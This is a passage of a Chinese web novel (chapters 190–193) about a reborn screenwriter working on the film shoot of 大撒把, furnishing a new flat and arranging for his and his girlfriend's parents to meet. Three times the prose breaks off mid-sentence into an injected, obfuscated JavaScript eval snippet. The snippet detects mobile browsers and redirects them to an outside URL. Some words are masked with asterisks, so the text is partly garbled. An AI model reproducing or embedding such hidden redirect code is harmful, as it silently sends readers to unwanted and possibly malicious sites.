高雅乐道:“那还不简单,走,咱俩回屋,我监督你练习,也能给你找出来不足。” 张雪梅也劝道:“是啊健群,天太晚了,你就不要回去了,小雅那床1米8,别说睡两个人了,咱娘儿仨一起睡也没问题啊。需要做练习,小雅也能跟你搭个伴儿,住家里吧今晚。” 李老师脸通红,低声道:“阿姨,我这也没带换洗衣物啊。” 高雅接茬道:“嗐,多大事儿啊,咱俩身高差不多,小远子给我买了好些新衣服我都没穿过,我送你两套不完了。走走走,回屋挑衣服去。” 她根本不让李老师拒绝,连拖带拽把人往屋里拉。 高远:喂,她应该跟我睡一屋的! 老妈似乎看透了他的心思,剜他一眼,道:“臭小子,回你屋睡觉去,你可别起歪心思啊。不然过些天你丈母娘来了,我可不好向亲家交代。” 高远走过去,把手伸进老妈的臂弯里,嬉皮笑脸道:“健群跟您说过啦?” 张雪梅笑着点头道:“嗯,健群说,她已经跟导演请过假了,两天后回学校参加毕业典礼,跟父母在明珠市汇合,然后一起来京城。” 参加毕业典礼? 这事儿她连我都没告诉过。 高远一想,明白过来,下午回来后李老师跟王导单独交谈了两句,大概说的就是这件事情吧。 哎呀,一转眼,我的好姐姐都要毕业了。 等我毕了业,我俩就能领证结婚了。 高远咧嘴笑了起来。 张雪梅抬手给他一个脑瓜崩,问道:“寻思啥呢?” “没啥,想起来跟健群相识,仿佛就发生在昨天,时间如白驹过隙,转眼间健群都大学毕业了,这日子啊,也太不禁过了。” “呸!我看你小子是文青病又犯了,赶紧去洗漱睡觉,二半夜的,感慨什么感慨?我得去跟你爸商量商量,未来亲家来京,咱们家怎么招待才不会失了礼数。” 高远得令,乖乖去卫生间刷牙洗脸洗脚,出来后往姐姐的闺房䁖了一眼,见房门紧闭。 这孙子叹息一声,心说这是一点机会都不给啊。 他悲愤地回了自己房间,往床上一躺,顿觉一阵热浪袭来,又下床把落地扇挪到床边打开,风一吹,他迷迷糊糊睡了过去。 第190章 脱胎换骨的李老师要向大家求必读票 次日一早,高远和李健群收拾利索,去学院招待所接了徐桑楚,陪着他在学院食堂里吃了顿早餐。 吃完饭后,三人来到北影厂。 高远去房间拿了《木棉袈裟》的剧本交给徐厂长。 徐桑楚说道:“虽说你这个本子很成熟了,但进入筹备期时还是需要你进组的。” 高远笑着问道:“徐厂长,您打算今年就开拍?” 徐桑楚微微摇摇头,道:“今年估计拍不了了,明年开春儿吧,为了完成今年的生产任务,我连纪录片都报到电影局去充数了,居然还得到了通过。” 言外之意是,既然通过了就得拍,不然没办法跟领导交代。 “理解,像北影厂,也存在这种情况,找不到编剧写剧本,要么对名著进行改编,要么就弄一些小成本的纪录片、风光片应付上面。” 高远也难得吐槽了两句。 徐桑楚感慨万千,道:“这年头儿,国产电影一直承担着意识形态输出的作用,上映的片子,首先要让观众们清楚,这片子表达了什么思想,具备着什么意义,其实完全脱离了电影本身就是讲故事的功能性…… 说多了,说多了。” 他抬手看看那块老上海,又道:“小高,我可不敢在你们北影厂多待,要是被老汪那个老家伙看见了咱俩暗通款曲,他非得扑上来咬我不可。 我走了啊,回头项目立项,我往你家打电话。” 说完,他转身急匆匆走了。 高远哭笑不得,暗通款曲能用到这儿么? 再说,老厂长也不是个不讲理的人啊,怎么就扑上去咬你了? 李健群噗嗤一笑,道:“徐厂长挺有意思的。” “嗯,是个幽默的好老头儿。” “也真给钱呢。” “你啥时候也变成个钱串子了?” “什么叫也变成啊,我这叫近墨者黑!” 好吧,近墨者黑。 我就是那块墨呗。 高远懒得吐槽。 “滴滴!” 身后传来两声汽车喇叭的鸣叫。 高远扭头儿一看,两辆海狮面包车开了过来。 这是剧组的车。 车门打开,两人上去。 王好为笑着说:“人到齐了,王师傅,开车吧。” 王师傅哎了一声,一脚油门踩下去,车子驶出北影厂,向首都机场行驶过去。 王导演拧过身子问李老师道:“健群,昨晚练习得如何了?” 李健群自信道:“导演放心,今天一定不会再掉链子了。” “哟,信心十足啊,你这么说我可当真了,今天看你表现。” “您瞧好吧。” 她昨晚拉着大姑姐练习到两点多,到最后高雅都看出来了,说她像一只慵懒的猫,但一亮尖锐的爪子又带着一股戒备心和刻薄劲儿。 高远凑到小叔身边,低声说道:“叔,我得麻烦您一事儿。” 高跃林看他一眼,撇着嘴说道:“这么郑重其事的,一准儿没好事儿。” 高远翻个白眼儿,道:“爽快点儿,就说帮不帮吧。” “不帮!” “咳咳,你和刘小庆……” “帮!” **! 高远强忍住笑,道:“其实也不是啥大事儿,我刚买了套房子您知道吧?” 高跃林摇头,“我不道啊,没人跟我说起过,你不是不爱住杂院儿么,怎么想起来买房了?” “我在华侨公寓买的楼房。”高远解释了一句。 “我靠!你小子居然偷偷摸摸在华侨公寓买了套房,你还是人么?这么大的事儿也不跟我说!”高跃林拍案而起,一惊一乍道。 他这一嚷嚷,全车人都知道高老师在华侨公寓买房了。 大家都看过来,眼里带着热切。 当编剧是真挣钱啊。 小高老师身价都过万了吧? 哼,都快过两万了。 但是我不骄傲! 高远脸一红,道:“你咋呼啥?瞧你那没见过世面的样子,丢不丢人啊?” 高跃林嘿嘿一笑,道:“说吧,你求我啥事儿?让我去帮你打扫房间?” “那倒不用,我想拜托您帮我买两张床和一套沙发。” “二手房屋里不带家具吗?” “带啊,但是这套房子之前的主人是阿根廷驻我国的文化参赞,外国人的私生活比您都糜烂,您懂吧。” 高跃林想**,臭小子,句句带刺儿,你不挤兑我你会死啊? 见高远笑眯眯的,眼神却不善,高跃林没敢叫板,道:“买床买沙发都好说,我一发小就在王府井百货大楼卖家具,你有什么具体要求吗?” 高远想了想,说道:“床要两张一米八的,床头软包,不要硬木的,最好带床垫,不带的话单买也行。沙发最好是真皮的,不要弹簧沙发,那玩意儿坐着硌屁股。 时间久了弹簧一松,坐上去会发出东瀛女老师怪叫的声音,让人蠢蠢欲动,并产生种种不切实际的联想,继而控制不住,手随心动,很伤身体的。” “东营女老师怪叫**何事?再说就算东营的女老师叫了,你去东营市教委告她们啊,伤了自个儿的身子就不划算了。” 这都什么跟什么啊? 关注点错了! 我这个比喻你压根儿没听懂啊这是。 高远心说,我纯属是对牛弹琴。 “算了,再过些年你就明白了,总之我就这些要求。对了,您干脆给我来一套办公家具吧,办公桌、皮转椅、书橱、沙发之类的,我把另外一间屋子布置成书房,这样我也能有个安静创作的空间。” “你买的房子到底多大啊?” “150平米。” 高跃林叹声气,道:“人比人气**。得,这事儿小叔给你办了,着急吗?” 高远说道:“挺急的,您也知道,健群的爸妈过几天来京,总不能让老两口住宾馆去吧。” 高跃林点点头,起身走到王好为身边,道:“导演,我得跟您请个假了,大侄子交给我个差事,我得去给他办喽,请您恩准啊。” 王好为笑着说:“我都听见了,去给高老师买家具吧?” 高跃林说是。 王好为对王师傅说道:“老王,麻烦你找个公交站台停下车,让跃林同志下去吧。” “好嘞。” 不远处就是个公交站台,王师傅把车停稳了,冲高跃林笑了笑。 李健群摸出一把钥匙来,递给高跃林道:“给小叔添麻烦了。” 高跃林接过来,笑道:“你们俩别嫌弃我眼光差就成。” 高远递过来一张存折,道:“我们绝对信任您的眼光。” “收起来,买家具的钱小叔给你出了,就当给你乔迁新居贺喜了。”高跃林很大气。 车上人多,高远也没跟他掰扯,把存折收好,道:“谢谢小叔。” “客气劲儿的,走了。” 他下了车,海狮继续前进,很快抵达机场。 道具置景的同事进了机场候机大厅便开始布置场地。 造型师招呼葛优和李健群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557798|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两位老师去贵宾室化妆。 张新民和他的助理在寻找着最佳拍摄角度,边溜达边交流,似是在现场教学。 监视器摆放好,王好为往后面一坐,钱康立马给她递上水杯。 王导气度俨然。 呼啦啦一帮人各忙各的,却井然有序,引得乘客们纷纷瞩目。 半个小时后,一切准备就绪。 这是在机场拍摄的最后一场重头戏,连机场的老总赵金平都跑过来看热闹了。 老赵极够意思,还找来机场的安保人员帮忙维持秩序,劝说乘客们不要打扰剧组同志们的工作。 李老师盛装出场,还是那套高远口头叙述给她设计的衣服。 葛大爷则穿一件宝蓝色大衣,黑西裤,黑皮鞋,没戴帽子,向大家尽情展示着不怎么富裕的脑门儿。 “先走一遍啊,优子和健群准备好了吗?” 两人冲王导齐齐点头。 很快进入到人物中。 李老师在出入口摆弄着行李,面有急色。 葛大爷走过去,问:“怎么了?” “护照找不到了。” “找啊,好好找找。” “没有。” 葛大爷也帮着翻找起来,手指间夹着根烟,边找边发牢骚:“你说你还能干什么?出了国还不把自己也丢了?忒笨!笨蛋一个。 愣着干什么?还不快找。” 李老师站在旁边撅着小嘴儿委委屈屈,一看就是个标准的都市小女人,有点作,也有点可爱,没人关心的时候坚韧不拔,人家一关心她就脆弱不堪了。 葛大爷叼着烟,也不找了,甚至懒得训斥她,摸遍全身口袋找火柴盒的时候,猛地愣了一下,手往大衣内兜里一掏,一本护照出现在两人眼前。 葛大爷略带羞愧。 完全找到感觉的李老师似喜似悲,尤其是望向葛大爷的那个眼神儿,幽怨的不得了。 高远都想叫声好了。 最后两人对视无语,紧紧相拥。 这里原本有一个顾颜亲吻林周云脸颊的镜头,被高远毫不留情给删除掉了。 废话,自己刚开荤没多久,怎么可能允许女朋友被别的男人搂着亲。 抱抱,意思意思得了,再想有进一步发展,只能说你想瞎了心。 即便是演戏也不行啊。 高老师嫉妒心很重的。 王好为大声喊道:“好!表现得特别好,尤其是健群,简直脱胎换骨了!” 李健群忙笑着谦虚道:“导演过奖了,得益于大家昨天给我的指点。” 高远默默竖起根大拇指来,李老师这情商,高高的。 王好为开心一笑,又说道:“好了,各部门准备实拍,争取一遍过!” 张新民比画个OK的手势,灯光师说声准备完毕,场记开始疏散围观的群众。 两位演员各就各位。 王好为喊了声开始。 葛优和李健群一秒入戏,非常顺利地完成了这个片段的拍摄任务。 “过了!各部门收拾器材,咱们准备打道回府了!” 王好为很高兴,脸上挂满了温暖的笑容,站起身,走到赵金平面前,主动伸出手说道:“感谢赵总对我们剧组的支持,这几天给您添了不少麻烦,您抽个时间回市里,我一定要请您吃个饭。” 赵金平跟她握握手,也笑容满面道:“王导太见外了,有机会为国家的电影事业发展贡献一点微薄之力,是我的荣幸。” 两人说了几句互吹的话,王好为带着剧组辞别,坐车回了市里。 第191章 高老师高义(求票票) 此后几天,《大撒把》开始了棚拍。 但进展缓慢,拍摄不顺利起来。 王好为总结了一下,发现是因为棚内搭景展现不出家庭温馨感的缘故。 她揉着脑门儿跟高远商量,“这不行啊,还得实景拍摄才能展现出你想要的那种效果,最好能租一套房子。” 原版电影林周云的家是在安慧里小区。 因为女主角徐帆就住在安慧里。 现在可没有这个小区。 高远看着佯装忧愁的导演,直接戳破了她的心思,道:“您要是想借用我的房子就直说,咱俩处的时间也不短了,说话不用拐弯抹角。” 王好为一笑,道:“就知道我这点儿小心思瞒不住你,这部电影厂里就给了70万,咱俩得省着点儿花不是,租房子不少钱呢,并且还未必能租得到。” 高远是个行动派,也觉得导演这话在理,便说道:“走吧,您跟我过去瞧瞧,合适您就用,不合适再想其他办法。” 王好为招呼司机老王备车,又喊了张新民、钱康,一起奔花园村华侨公寓而去。 李健群也在车上,大姐姐明天就要回学校参加毕业典礼了,今儿停工一天,刚好去公寓里布置一番。 华侨公寓因为其特殊性,安保措施很严格,闲杂人等一律不得入内。 但高远已经在保卫科登过记了,跟门口的大爷打声招呼,丢下一包大前门,大爷就乐呵呵地放行了。 一行人下了车,进了三号楼,上到二楼。 高远掏出钥匙打开房门,请大家入内。 几个人进去一看,就被高远家里奢华的家具、电器震撼住了。 王好为咂着舌感叹道:“这是要搁前几年,你小子就是妥妥的资产阶级分子,分分钟被拉出去戴高帽游街批斗,接受劳动人民和无产阶级分子正义的审判。” 高远瑟瑟发抖,“导儿,我胆小,您可别吓唬我啊,这顶帽子太高了,我戴不住。” 大家哄堂大笑。 不得不说,小叔的眼光确实很棒,鲁杰里留下来的那套黑色沙发被小叔送到委托商店卖掉了。 同时送去委托商店的还有三张床,以及三间卧室的衣柜、床头柜等物。 鲁杰里的品味也不差,沙发和床的样式都很新颖,且使用年限不长,一送过去就被几个店员私下里截流了。 现在客厅里摆放着一套一字型白色真皮沙发,茶几边上还有个同色系的单人沙发。 高远带着几位挨个房间转了转,走进一进门北面的书房后,他也有点吃惊了。 小叔大手笔啊,竟然给自己弄来一整套黄梨木的书桌、木椅、书橱、**架。 还有一套棕色沙发,茶几上摆放着一套黑陶茶具。 整间书房古色古香。 他也是买下这套房子后第一次过来,看着书房的布置,非常喜欢。 小叔没少花心思。 唯一的不足之处是,墙面上光秃秃的,缺少点能增加自己文化人气质的书画作品。 高远心里有了计较,回头找老厂长求幅字去,装裱起来往墙上一挂,完美! 王好为却在叹气,她说道:“不行啊高老师,你这家也太奢华了,林周云两口子就是个生活在都市里的平常人,刚参加工作没两年,住150平的房子,疯了?” 张新民也附和道:“确实不合适,且不说林周云刚参加工作具不具备分房资格,就你屋里这些大冰箱、大彩电、洗衣机什么的,拍出来后能不能过审都两说着。 领导们一看,你们这部片子想要向观众们呈现什么思想? 呈现资本主义贪图享受的思想吗? 一句话咱这电影就废了。” 高远耸耸肩,道:“那我就没办法了,我自个儿挣的钱,自个儿享受享受美好的生活,这总没啥错吧?您二位要这么说的话,就不如去筒子楼里取经了,那多贴近现实啊。” 张新民琢磨琢磨,道:“也不行,筒子楼里住户太多,顾颜和林周云共同生活,需要一个相对私密的空间,这样才能拍摄出两个人虽不是真正的伴侣,却在日常生活的紧密接触中互生情愫的感觉来。” “新华哥,你就给我出难题吧,我只是个编剧啊,我又不是导演。”高远哀嚎。 张新华乐了,“你不是还挂着个艺术总策划的衔儿么,剧组里谁不知道啊,遇事不决找高老师。所以,找合适的拍摄地点也是你分内之事。” 大家又笑了。 高远很无奈,想了想后说道:“那我就只有一个办法了,去学院路30号院儿吧,我给我父母做做工作,让他们搬出来住几天,家里的房子借给剧组进行拍摄。” 王好为说道:“这不合适吧?” “除此之外,您还有其他办法吗?” “没了。” “所以喽,只能让我父母搬到我这里来住一段日子了,刚好李老师的父母过几天也要来京,让两家父母好好交流交流,增加彼此间的了解和互信,为达到共存共荣之目的打下一个良好的基础……就这么定了吧。” 李健群踢他一脚,红着脸说道:“你又胡说八道。” 王好为眼睛一亮,很八卦地问道:“你俩要订婚了呀?” 高远嘿嘿笑道:“还没到订婚那一步,人家年纪还小呢。” “臭不要脸!”同志们异口同声表扬这孙子。 高远挠挠头,问李健群道:“你跟我一起回家,还是……” 李健群哼了声,没好气儿地说:“我不去了,待会儿去买些被褥和生活用品,总不能让叔叔阿姨和我爸妈来了后没东西可用吧。” 贤惠啊。 得妻如此夫复何求啊。 高远从随身带着的包里掏出一摞侨汇券来递给她,道:“去西单地下一层的华侨商店买吧,那里东西全。” 他还有不少侨汇券,且这玩意儿是有期限的。 普遍是一年期,不花就作废。 李老师也不跟他客气,接过来,看他稍稍顺眼了些。 就讨厌他老暗示自己比他大。 虽然知道这家伙是在开玩笑,心里也不是个滋味儿。 高远属于有口无心,其实说完就后悔了,打定主意今后得改改这个口无遮拦的臭毛病。 虽然很难,尽力而为吧。 一行人来去匆匆。 又奔钢铁学院家属院。 到了后高远先去校区办公楼找到老爸,把事情一说。 高跃民倒是很高兴,也支持儿子的事业。 剧组来自己家取景,岂不是说,自己家也能上大荧幕了。 他爽快地答应下来。 跟同事们交代了几句,下楼奔家里,亲自带领着王好为几人参观了房间。 王好为很满意,握住高跃民的手说道:“高教授,给您家添麻烦了。” “导演可别这么说,您平时对高远多有关照,我们两口子感激不尽,能为剧组做点贡献,也是我们莫大的荣幸。 等高远妈妈回来后我们就收拾行李,这样吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557799|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后天,你们过来布景就行。”高跃民笑道。 王好为点点头,说道:“那成,我们就不打扰您了,后天见。” “后天见。”高跃民把几位礼送出门。 高远也跟着走了。 回厂的路上,钱康大发感慨,道:“高老师一家人高风亮节啊,为我国的电影事业的发展做出了这么大的贡献,要我说,评个‘五好家庭’都没问题。” 他是个碎嘴子,说废话的功力比“你为什么不能给我买个披萨呢,一咬一拉丝儿”那女人还要强大一百倍。 高远苦笑不已,道:“钱导这话言重了,到不了那个程度。” 钱康啧了一声,还想捧两句。 王好为一瞪眼,他立马乖乖闭上了嘴巴。 第二天,高远把李老师送到火车站,又亲自送到卧铺车厢里,安排好一切,千叮咛万嘱咐让她看好行李路上小心。 在李老师一叠声的答应下,依依不舍下了火车。 剧组也没因为李老师暂时离开而停止拍摄,今天拍的是顾颜和杨仲的戏份。 摄影棚这时候派上了用场,不用怎么布置就是一个天然的取景地。 高远回到摄影棚时,刚好碰到饰演杨仲夫妇的杨立新和张金玲换好了衣服。 他一瞧,差点儿没乐出屁来。 这二位都穿着沙滩服。 杨老师是一套天蓝色的短袖衬衣和大裤衩子,衣服上有椰子树图案,花花绿绿的,光着两条大腿,脚上蹬着双趿拉板儿。 金玲姐也不遑多让,大开领的沙滩裙,一道深沟清晰可见,脖子上还挂着条塑料项链,微卷的黑发束了个高马尾,绑着条粉色发带。 浓妆艳抹,双腿雪白,脚上也是一双趿拉板儿。 葛大爷则一身摄影师打扮,衬衣西裤大皮鞋,衬衣外面还罩着件军绿色马甲,马甲上面全是兜,脖子上挂这个相机,似模似样。 高远乐坏了,杨老师和金玲姐这身装扮,搁这个年代绝对新潮,让人看一眼就喷饭的那种。 喜剧效果直接拉满。 张金玲走过来,给他一拳道:“笑个屁啊笑!都是你出的馊主意,让健群设计了这么一套奇装异服,等这电影一上映,我就没脸见人了。” 杨立新也咧着嘴说道:“凉快倒是挺凉快,衣服布料也好,就是,就是……哎呀你说我一个演话剧的,穿成这样儿,有伤风化,有伤风化啊。” 高远笑着说:“您二位可都是一心往老艺术家那条路上策马狂奔的,按理说觉悟不该这么低啊。” 张金玲一翻白眼儿,道:“我们俩觉悟怎么就低了?” “为艺术做些个人牺牲不是老艺术家的基本职业素养吗?咋,穿件稍微暴露点儿的衣服你俩就接受不了了?这还不算觉悟低下吗?” 高远老母猪带胸罩,一套接一套。 张金玲也不是好糊弄的,撇着嘴说道:“你可少跟我讲这些大道理吧,觉悟高低跟衣着是否暴露根本就不挨着,纯属是个人审美问题。 你小子就是故意的,真当我猜不透你那点儿小心思呢,你就是想光明正大看姐姐的腿!” “没有!我没有!你不要污蔑我!” 一听这话,高远差点儿跳起来咬人,语速飞快道:“按你这说法,我想看你的腿,难不成我还想看杨老师的腿吗?你把我当什么人了?” 杨立新脸都红了,“小高,小高,你这思想,不是,你这知识可学得太杂了,这不好,很不好。” 第192章 重生者的巨大差距(俺要必读票) 高远乐得跟什么似的,杨立新大哥很幽默,他轻飘飘一句话就能挠到你肋岔子上。 并且非常局气,高远特喜欢跟他逗闷子。 他也知道杨立新和张金玲故意在跟他打镲。 金玲大姐都28岁了,早已结婚,所谓“你就是想光明正大看姐姐的腿”,就是句玩笑话。 高远瞄了瞄张金玲白嫩的大腿,嘿嘿笑道:“别说,真白。” 张金玲一脚踹过来,趿拉板儿都飞出去了,接着傻乐呵,道:“臭小子,别蹬鼻子上脸啊,瞧一眼得了,姐姐大度,不在乎,你要还想亲一口我可就弄死你一个来回的了。” 嚯! 如此心狠手辣的吗? 高远瑟瑟发抖如鹌鹑。 王好为笑着说道:“好了好了,别贫起来没个完了,抓紧时间开工,这场戏拍完,后面的拍摄任务仍旧很重,大家打起精神来。” 演职人员们全情投入到拍摄中去。 今天这场戏讲的是顾颜送林周云去医院后的第二天,去给新婚的铁哥们儿杨仲随份子,顺便发挥工作特长,亲自给这两口子拍了套婚纱照。 摄影棚里全是假景,幕布样式的海浪沙滩,各种颜色的大气球,浮夸得不得了。 道具师用了心了,不知道从哪儿弄来一辆轻骑摩托车,充当杨仲和井玲的拍摄道具。 这两口子往上一坐,张金玲笑容满面,杨立新满面笑容,对着拍照的葛优挥手说:“嗨~” 哎呀,忒刺激了! “好!过了!造型师赶紧的,去给演员补妆,换服装。”王好为喊道。 造型师也卖力气,带着二位奔化妆间而去。 炎热的夏天,摄影棚里的最高温度能达到40度,几台工业风扇再吹,温度也降不下来。 演员们遭老罪了,汗珠子噼里啪啦往下掉,拍完一组镜头就得去补一次妆。 但没人叫苦叫累,大家都充满了时刻准备着为电影艺术献身的**主义伟大精神。 高远把剧务叫过来,摸出一张十元大票都给他,道:“去买冰棍,把这些钱花完。” 剧务乐了,接过钱来颠儿颠儿跑了。 拍摄继续。 杨立新和张金玲折腾了一上午,每人换了四套衣服,拍完后两人都快虚脱了。 剧务赶紧送上冰棍。 二位连忙接过来,撕开包装纸一人一根嗦啦着。 杨立新又眯着眼睛跟高远开玩笑,道:“我仿佛又活过来了,还是高老师仗义啊,急人民之所急,想人民之所想,有您的地方才是天堂。” 高远也拿着一根绿豆沙冰棍嗦啦着,闻言呲牙一乐,道:“照您这么说,我就是一稍不留神坠落人间,为解救劳苦大众于危难之中即便折翼也会义无反顾,迎难而上的天使喽? 我在您心目中的形象这么高大伟岸吗?” “没错儿,就这么高大伟岸,且光芒万丈。”杨立新绝不让高远的话掉地上。 “哈哈哈哈……” 大家伙儿都笑疯了。 李诚儒笑着说道:“这哪是剧组啊,这分明是个相声班子。” 谢园也乐得不行了,笑道:“我早就说过,高老师是个高人,能把这么一帮子艺术家拢在一块儿,并形成强大的战斗力,高老师将来的成就不可限量。” 呸! 马屁精! 李成儒有点儿瞧不上他,老觉得这家伙拿腔拿调的,轻蔑的小眼神儿看他一眼,人家倒背着手出去了。 谢园根本不在乎,他就是这种性格,嘴碎,且爱拍。 进组后倒是跟钱康副导演很对路子,跟葛大爷走得也挺近,惺惺相惜、相见恨晚的赶脚。 高远看着正在聊天的葛优和谢园,心说,嗯,还差一个梁天,再加上二子哥,我就把这个年代的喜剧四大天王集齐了。 他不由得深深叹息,别人重生后进娱乐圈,要么跑去香港泡霞玉芳红、贞贤敏欣。 要么留在内地有菲选菲,没菲选圆,没菲没圆选甜甜。 混得最差劲的也得是南龚雪北朱琳左拥右抱,忠贞不三。 顺便收四大天王当小弟,双周一成让你跟你就滚。 影视歌舞多栖发展,写而优则演,演而优则导,导够了就当个幕后大老板,开创不朽娱乐王朝。 哪像自个儿啊,重生后身边不是陈小二就是葛大爷,还有谢园、杜玉明、熊欣欣、**魁、胡坚强等一众妖魔鬼怪甘当舔狗、肝胆相照、紧密相随。 更可怕的是,菜菜子居然叫我哥! 咦…… 被这么一帮子奇形怪状,一个比一个奇葩的家伙们包围起来,我的命实在太苦了! 高远凄苦了一阵儿,见剧组收工了,怀着悲愤的心情回了招待所房间。 高跃林貌似找到了新住处,跟高远说不再过来住了。 高远也没问他住谁家,总归小叔从不是个让自个儿受委屈的人。 今儿在剧组也没看见他,听钱康说,他被导演派出去联系外景拍摄地了。 高远不大信,以小叔的浪劲儿,这会儿不定在哪个女人的床上练俯卧撑呢。 次日,高远回了家,帮爸妈把收拾好的衣服送到了华侨公寓家里,也带着父母参观了新房。 高跃民和张雪梅对这套房子十分满意,宽敞、透亮,家具家电一应俱全,卫生间里还是坐便器,厨房更是安装上了液化气炉灶,做饭贼方便。 让爸妈慢慢收拾着,想住主卧就住主卧,想住次卧就住次卧,安排好后,把钥匙留下,高远又回了北影厂。 学院路那套房子已经被道具组的同事征用了,正在忙着布景。 摄影棚里的拍摄也接近尾声。 总之这部《大撒把》自正式开机后,经过了几天的磨合,越来越顺畅了。 杀青的濮存昕和邱沛宁已经离组了。 高远还能时常见到濮老师。 他正在给《李志远》做配音。 这一日,高远刚从房间里出来,就被梁晓声拦住了。 老梁递给他一封信,说道:“香港寄来的。” 高远看了眼邮戳,心中了然,笑道:“是傅奇叔叔寄给我的。” 他把信封拆开,将信取出来展开看了看。 傅奇在信中对他说:龙腾虎跃已经拍摄完成,我们有幸邀请到袁和平先生作为武指参与到此片的拍摄制作中,几次交谈,袁先生对小友交口称赞。 此片国庆节期间会安排上映,相信一定会取得好成绩,感谢小友对香港左派电影人的支持。 文代会临近,我和你石慧阿姨到时也将回京参加盛会,万分期待与小友的再次会面。 另:若有新作,还望小友能够一如既往地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557800|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 支持长城影业的发展,不胜感激云云。 高远一笑,简言之,这就是封约稿信。 傅奇并没有在信件里多提及《龙腾虎跃》的拍摄情况,比如说请了哪位名角饰演的男主角,哪位导演执导了这部作品等等。 高远也清楚,以左派现如今遗世独立、岁月静好的境遇,邵氏也好,嘉禾也罢,都不会把它当成竞争对手的。 因为它除了会拍一些**宣传片,对商业大片领域从未涉足过。 他们不拿左派当回事,却正好被傅奇利用到了这一点,所以他才在信中说,《龙腾虎跃》会取得一个不错的成绩。 这是反戈一击的节奏。 高远更清楚的是,有些话实在是不方便在信中说。 傅奇叔叔这封信,有些内容得靠自己慢慢去悟才能搞清楚他想要表达的意思。 但高远本质上不是个喜欢较真儿的人,创作剧本已经够浪费脑细胞的了,针对一封信再猜来猜去的,他不愿去费那个脑子。 把信折叠好,又塞回信封里。 高远笑眯眯看着梁晓声,道:“最近不忙吗?” 梁晓声说道:“你也没啥活儿安排**呐,自打《木棉袈裟》结算完稿费后,你就没再搞创作。文学部倒是收到不少作者的投稿,但大多数都写得一塌糊涂。 我现在每天都在重复昨天的工作,看稿、拒稿、给作者回信,信中还得鼓励他们不要灰心,只要心中揣着创作梦想,就要勇于尝试,多写多练,文笔和故事风格慢慢就培养起来了。 我都快写吐了。” 高远哈哈大笑,“你知道我忙着《大撒把》的拍摄工作,这段儿实在是腾不出时间来进行创作了。不过你也写了两本通俗小说了,应该也掌握了不少写作技巧,你自己写不行吗?” 梁晓声抬腿往楼下走,敞开心扉道:“这玩意儿写熟了确实也不困难,我也想过自己搞一篇出来,但是武打故事我不想再写了,又找不到其他类型的题材,就有点踯躅和懈怠了。” 高远想了想,说道:“你说得没错儿,年代限制了创作类型,这年头儿,伤痕文学最吃香,作家们都热衷于把人性最阴暗的那一面赤裸裸地展现在观众们面前。 似乎只有剖析人性,才能体现出他们深刻的思想内涵。 算了,不说这个,忒没劲。 你目前不知道写什么,不妨从自己身上找找故事。 比如说,你也在建设兵团待过多年,对那片土地爱得深沉,也熟知知青同志们在日复一日的垦荒、劳作中经历了多少磨难,才让那片土地旧貌换新颜。 以知识青年响应号召上山下乡为创作背景。 以大家伙不畏艰险、克服困难,齐心协力将黑土地变成良田,继而成长为年轻一代的建设者为主题思想,创作一个故事对你来说不难吧?” 梁晓声两眼一亮,接着又黯淡下来,道:“这不还是伤痕文学吗?” 高远笑着说:“这不叫伤痕文学,这叫知青文学。两者之间的区别是,伤痕文学以揭露阴暗面为创作方向,知青文学弘扬的是广大知识青年们积极向上的乐观主义精神。” 梁晓声激动万分,道:“我明白你的意思了,感谢啊远子,我知道该从哪里动笔了。不跟你多说了,我回去写个开头先。” 第193章 亲家见面 高远考完最后一门,从考场里走出来,浑身轻松。 及格是肯定没问题的,因为后面坐着葛兆光嘛,两人小纸条传得隐秘,却躲不开王瑶和赵建福犀利的观察。 两位老师睁一只眼闭一只眼,心里特清楚,以高远现如今的成就,这个大学上不上的都不重要了。 北影厂副厂长孙文今来找过几次系主任费振刚,询问能不能让高远提前毕业之事,都被费振刚打了回票。 费振刚意思表达得很明确,高远虽然不怎么来学校上课,但大学还是要读完的,我们理解北影厂求贤若渴的迫切心情,但你们也不要急于一时嘛。 系领导这个态度,孙文今也不好多说什么,只是拜托费振刚,在高远毕业前夕的分配工作上面,多关照一下北影厂。 没错儿,这年代毕业分配走向,不仅要让同学们自己填表,各高校的推荐也非常重要。 比如说,同样一名同学,学校把你推荐到真理部工作,和把你推荐到报社任职,简直天壤之别。 就这,费振刚都没敢答应下来。 为啥? 因为高远那小子异于常人,他独立性太强了,主意很正,不一定会服从学校的分配。 梁左也交卷出来了,刚好跟高远走了个头碰头。 他给高远带来一个消息,“老叶接到了人大读研的通知。”(这是真事儿) 高远诧异了一下,道:“下学期才大三,他怎么具备读研的资格啊?” 梁左摇摇头,道:“我也不清楚,嗐,反正这年头儿读书都成了怪事,我只知道他参加人大研究生的招生考试。” 